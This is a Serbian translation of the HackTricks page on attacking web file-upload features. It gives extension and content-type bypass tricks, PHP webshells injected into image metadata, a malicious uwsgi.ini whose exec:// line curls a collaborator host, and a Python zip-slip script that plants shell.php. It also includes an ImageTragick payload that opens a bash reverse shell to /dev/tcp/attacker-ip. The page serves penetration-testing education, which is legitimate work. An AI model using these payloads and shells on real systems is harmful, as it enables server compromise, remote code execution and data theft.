hacktricks/pentesting-web/file-upload
2024-02-23 16:45:30 +00:00
..
pdf-upload-xxe-and-cors-bypass.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2024-02-23 16:45:30 +00:00

Uploadovanje fajlova

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - mi zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).

{% embed url="https://www.stmcyber.com/careers" %}

Opšta metodologija za uploadovanje fajlova

Drugi korisni nastavci:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Rad u PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Zaobilaženje provere ekstenzija fajlova

  1. Ako se primenjuju, proverite prethodne ekstenzije. Takođe ih testirajte koristeći neka velika slova: pHp, .pHP5, .PhAr ...
  2. Proverite dodavanjem validne ekstenzije pre ekstenzije za izvršenje (koristite i prethodne ekstenzije):
  • file.png.php
  • file.png.Php5
  1. Pokušajte dodavanjem specijalnih karaktera na kraju. Možete koristiti Burp da bruteforce-ujete sve ascii i Unicode karaktere. (Imajte na umu da možete pokušati koristiti i prethodno pomenute ekstenzije)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Pokušajte da zaobiđete zaštitu prevareći parser ekstenzija na serverskoj strani tehnikama poput udvajanja ekstenzije ili dodavanja beskorisnih podataka (nula bajtova) između ekstenzija. Takođe možete koristiti prethodne ekstenzije da biste pripremili bolji payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Dodajte još jedan sloj ekstenzija na prethodnu proveru:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Pokušajte da stavite izvršnu ekstenziju pre validne ekstenzije i nadajte se da je server loše konfigurisan. (korisno za eksploataciju Apache konfiguracija gde će bilo šta sa ekstenzijom** .php, ali ne nužno završava u .php** izvršiti kod):
  • npr: file.php.png
  1. Korišćenje NTFS alternativnog toka podataka (ADS) u Windows-u. U ovom slučaju, karakter „:“ će biti ubačen posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, na serveru će biti kreiran prazan fajl sa zabranjenom ekstenzijom (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen korišćenjem drugih tehnika kao što je korišćenje njegovog kratkog imena fajla. Obrazac “::$data” takođe može biti korišćen za kreiranje nepraznih fajlova. Stoga, dodavanje tačka karaktera posle ovog obrasca takođe može biti korisno za zaobilaženje daljih restrikcija (npr. “file.asp::$data.”)
  2. Pokušajte da pređete granice imena fajla. Validna ekstenzija se odseče. A zlonamerni PHP ostaje. AAA<--SNIP-->AAA.php
# Maksimum 255 bajtova na Linux-u
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ovde oduzmite 4 i dodajte .png
# Uploadujte fajl i proverite odgovor koliko karaktera dozvoljava. Recimo da je 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Napravite payload
AAA<--SNIP 232 A-->AAA.php.png

Bypassovanje Content-Type, Magic Number, kompresija i promena veličine

  • Bypass Content-Type provere postavljanjem vrednosti zaglavlja Content-Type na: image/png, text/plain, application/octet-stream_
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • Bypass provere magic number-a dodavanjem bajtova prave slike na početak fajla (zbunite file komandu). Ili uvedite shell unutar metapodataka:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ili takođe možete ubaciti payload direktno u sliku:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Ako se kompresija dodaje vašoj slici, na primer korišćenjem standardnih PHP biblioteka poput PHP-GD, prethodne tehnike neće biti korisne. Međutim, možete koristiti PLTE chunk tehnika definisana ovde da ubacite tekst koji će preživeti kompresiju.
  • Github sa kodom
  • Veb stranica takođe može promeniti veličinu slike, koristeći na primer PHP-GD funkcije imagecopyresized ili imagecopyresampled. Međutim, možete koristiti IDAT chunk tehnika definisana ovde da ubacite tekst koji će preživeti kompresiju.
  • Github sa kodom
  • Još jedna tehnika za kreiranje payload-a koji preživljava promenu veličine slike, koristeći PHP-GD funkciju thumbnailImage. Međutim, možete koristiti tEXt chunk tehnika definisana ovde da ubacite tekst koji će preživeti kompresiju.
  • Github sa kodom

Ostali trikovi za proveru

  • Pronađite ranjivost da preimenujete već otpremljen fajl (da promenite ekstenziju).
  • Pronađite ranjivost Lokalnog uključivanja fajlova za izvršavanje backdoor-a.
  • Moguće otkrivanje informacija:
  1. Otpremite više puta (i istovremeno) isti fajl sa istim imenom
  2. Otpremite fajl sa imenom fajla ili foldera koji već postoji
  3. Otpremite fajl sa “.”, “..”, ili “…” kao imenom. Na primer, u Apache-u na Windows-u, ako aplikacija čuva otpremljene fajlove u direktorijumu “/www/uploads/”, ime “.” će kreirati fajl nazvan “uploads” u direktorijumu “/www/”.
  4. Otpremite fajl koji se možda ne može lako obrisati kao što je “…:.jpg” u NTFS-u (Windows)
  5. Otpremite fajl u Windows-u sa nevažećim karakterima poput |<>*?” u imenu. (Windows)
  6. Otpremite fajl u Windows-u koristeći rezervisana (zabranjena) imena poput CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9.
  • Pokušajte takođe da otpremite izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada ga slučajno otvori žrtva.

Specijalni trikovi sa ekstenzijama

Ako pokušavate da otpremite fajlove na PHP server, pogledajte trik sa .htaccess za izvršavanje koda.
Ako pokušavate da otpremite fajlove na ASP server, pogledajte trik sa .config za izvršavanje koda.

.phar fajlovi su kao .jar za javu, ali za php, i mogu se koristiti kao php fajl (izvršavanje sa php-om, ili uključivanje u skriptu...)

Ekstenzija .inc se ponekad koristi za php fajlove koji se koriste samo za uvoz fajlova, tako da je u nekom trenutku neko mogao dozvoliti ovu ekstenziju da se izvrši.

Jetty RCE

Ako možete otpremiti XML fajl na Jetty server, možete dobiti RCE jer se novi *.xml i *.war automatski obrađuju. Dakle, kao što je navedeno na sledećoj slici, otpremite XML fajl u $JETTY_BASE/webapps/ i očekujte shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Za detaljno istraživanje ove ranjivosti pogledajte originalno istraživanje: uWSGI RCE Exploitation.

Ranjivosti za izvršavanje udaljenih komandi (RCE) mogu se iskoristiti u uWSGI serverima ako imate mogućnost da izmenite .ini konfiguracioni fajl. Konfiguracioni fajlovi uWSGI servera koriste specifičnu sintaksu za uključivanje "magičnih" promenljivih, mesta i operatora. Posebno, operator '@', korišćen kao @(filename), dizajniran je da uključi sadržaj fajla. Među različitim podržanim šemama u uWSGI-ju, "exec" šema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcionalnost može biti manipulisana u zlonamerne svrhe kao što su Izvršavanje udaljenih komandi ili Pisanje/Čitanje proizvoljnih fajlova kada se .ini konfiguracioni fajl obrađuje.

Razmotrite sledeći primer štetnog uwsgi.ini fajla, prikazujući različite šeme:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Izvršenje payload-a se dešava tokom parsiranja konfiguracionog fajla. Da bi konfiguracija bila aktivirana i parsirana, proces uWSGI mora biti ili restartovan (potencijalno nakon pada ili zbog napada DoS) ili fajl mora biti podešen za automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava fajl u određenim intervalima nakon otkrivanja promena.

Važno je razumeti opuštenu prirodu parsiranja konfiguracionog fajla uWSGI-ja. Konkretno, razmatrani payload može biti ubačen u binarni fajl (kao što je slika ili PDF), što dodatno proširuje obim potencijalne eksploatacije.

wget Trik za otpremanje fajlova/SSRF Trik

U nekim situacijama možete otkriti da server koristi wget za preuzimanje fajlova i možete navesti URL. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova unutar bele liste kako bi se osiguralo da će biti preuzimani samo dozvoljeni fajlovi. Međutim, ova provera može biti zaobiđena.
Maksimalna dužina imenovanja fajla u linuxu je 255, međutim, wget skraćuje imena fajlova na 236 karaktera. Možete preuzeti fajl nazvan "A"*232+".php"+".gif", ovo ime fajla će zaobići proveru (kao u ovom primeru ".gif" je validna ekstenzija) ali će wget preimenovati fajl u "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Imajte na umu da je još jedna opcija o kojoj možete razmišljati kako da zaobiđete ovu proveru da naterate HTTP server da preusmeri na drugi fajl, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmereni fajl sa novim imenom. Ovo neće raditi osim ako se wget koristi sa parametrom --trust-server-names jer će wget preuzeti preusmerenu stranicu sa imenom fajla naznačenim u originalnom URL-u.

Alati

  • Upload Bypass je moćan alat dizajniran da pomogne Pentesterima i Bug Hunterima u testiranju mehanizama za otpremanje fajlova. Koristi različite tehnike nagradnih bagova kako bi pojednostavio proces identifikacije i iskorišćavanja ranjivosti, obezbeđujući temeljnu procenu veb aplikacija.

Od Otpremanja Fajla do drugih ranjivosti

Evo liste top 10 stvari koje možete postići otpremanjem (sa ovde):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Otvoreno preusmeravanje
  8. PNG / JPEG: Napad poplavom piksela (DoS)
  9. ZIP: RCE putem LFI / DoS
  10. PDF / PPTX: SSRF / Slepa XXE

Burp Proširenje

{% embed url="https://github.com/portswigger/upload-scanner" %}

Čarobni Bajtovi Zaglavlja

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Pogledajte https://en.wikipedia.org/wiki/List_of_file_signatures za druge tipove fajlova.

Automatsko Dekompresovanje Zip/Tar Fajla pri Otpremanju

Ako možete otpremiti ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:

Simbolička Veza

Otpremite link koji sadrži softverske veze ka drugim fajlovima, zatim, pristupajući dekompresovanim fajlovima, pristupićete povezanim fajlovima:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Dekompresujte u različite fascikle

Neočekivano stvaranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Uprkos početnim pretpostavkama da ovaj postupak može zaštititi od izvršavanja komandi na nivou OS putem zlonamernih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti pretrage direktorijuma ZIP arhivnog formata mogu biti iskorišćene. Ovo omogućava napadačima da zaobiđu restrikcije i pobegnu iz bezbednih direktorijuma za upload manipulišući funkcionalnostima dekompresije ciljne aplikacije.

Automatizovani exploit za kreiranje takvih fajlova dostupan je na evilarc na GitHub-u. Alat se može koristiti na sledeći način:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Dodatno, simbolička veza trik sa evilarc-om je opcija. Ako je cilj da se cilja datoteka poput /flag.txt, simbolička veza ka toj datoteci treba biti kreirana na vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.

Ispod je primer Python koda koji se koristi za kreiranje zlonamernog zip fajla:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Zloupotreba kompresije za prskanje fajlova

Za dodatne detalje proverite originalni post na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Kreiranje PHP Shell-a: PHP kod je napisan da izvršava komande prosleđene kroz promenljivu $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Prskanje Fajlova i Kreiranje Kompresovanog Fajla: Kreiraju se više fajlova i formira se zip arhiva koja sadrži ove fajlove.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modifikacija pomoću Hex Editora ili vi: Imena fajlova unutar zip arhive se menjaju korišćenjem vi ili hex editora, menjajući "xxA" u "../" kako bi se pretraživali direktorijumi.
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost (ImageMagick, 7.0.1-1) (iz exploita)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Ugrađivanje PHP Shell-a u PNG

Ugrađivanje PHP Shell-a u IDAT blok PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije imagecopyresized i imagecopyresampled iz PHP-GD su posebno relevantne u ovom kontekstu, jer se često koriste za promenu veličine i resampling slika, redom. Mogućnost ugrađenog PHP Shell-a da ostane neizmenjen nakon ovih operacija predstavlja značajnu prednost za određene slučajeve upotrebe.

Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, pruženo je u sledećem članku: "Kodiranje Web Shell-ova u PNG IDAT blokovima". Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.

Više informacija na: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Poliglot fajlovi

Poliglot fajlovi služe kao jedinstveno sredstvo u kibernetičkoj bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata fajlova istovremeno. Zanimljiv primer je GIFAR, hibrid koji funkcioniše kao GIF i RAR arhiva istovremeno. Takvi fajlovi nisu ograničeni samo na ovu kombinaciju; kombinacije poput GIF-a i JS-a ili PPT-a i JS-a su takođe izvodljive.

Osnovna korist poliglot fajlova leži u njihovoj sposobnosti da zaobiđu sigurnosne mere koje filtriraju fajlove na osnovu tipa. Uobičajena praksa u različitim aplikacijama podrazumeva dozvoljavanje samo određenih tipova fajlova za otpremanje - poput JPEG-a, GIF-a ili DOC-a - kako bi se umanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, poliglot, pridržavajući se strukturnih kriterijuma više tipova fajlova, može prikriveno zaobići ove restrikcije.

Iako su prilagodljivi, poligloti se suočavaju sa određenim ograničenjima. Na primer, iako poliglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog otpremanja može zavisiti od politike ekstenzija fajlova platforme. Ako sistem strogo pridržava dozvoljene ekstenzije, sama strukturalna dvojnost poliglota možda neće biti dovoljna da garantuje njegovo otpremanje.

Više informacija na: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Reference

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).

{% embed url="https://www.stmcyber.com/careers" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: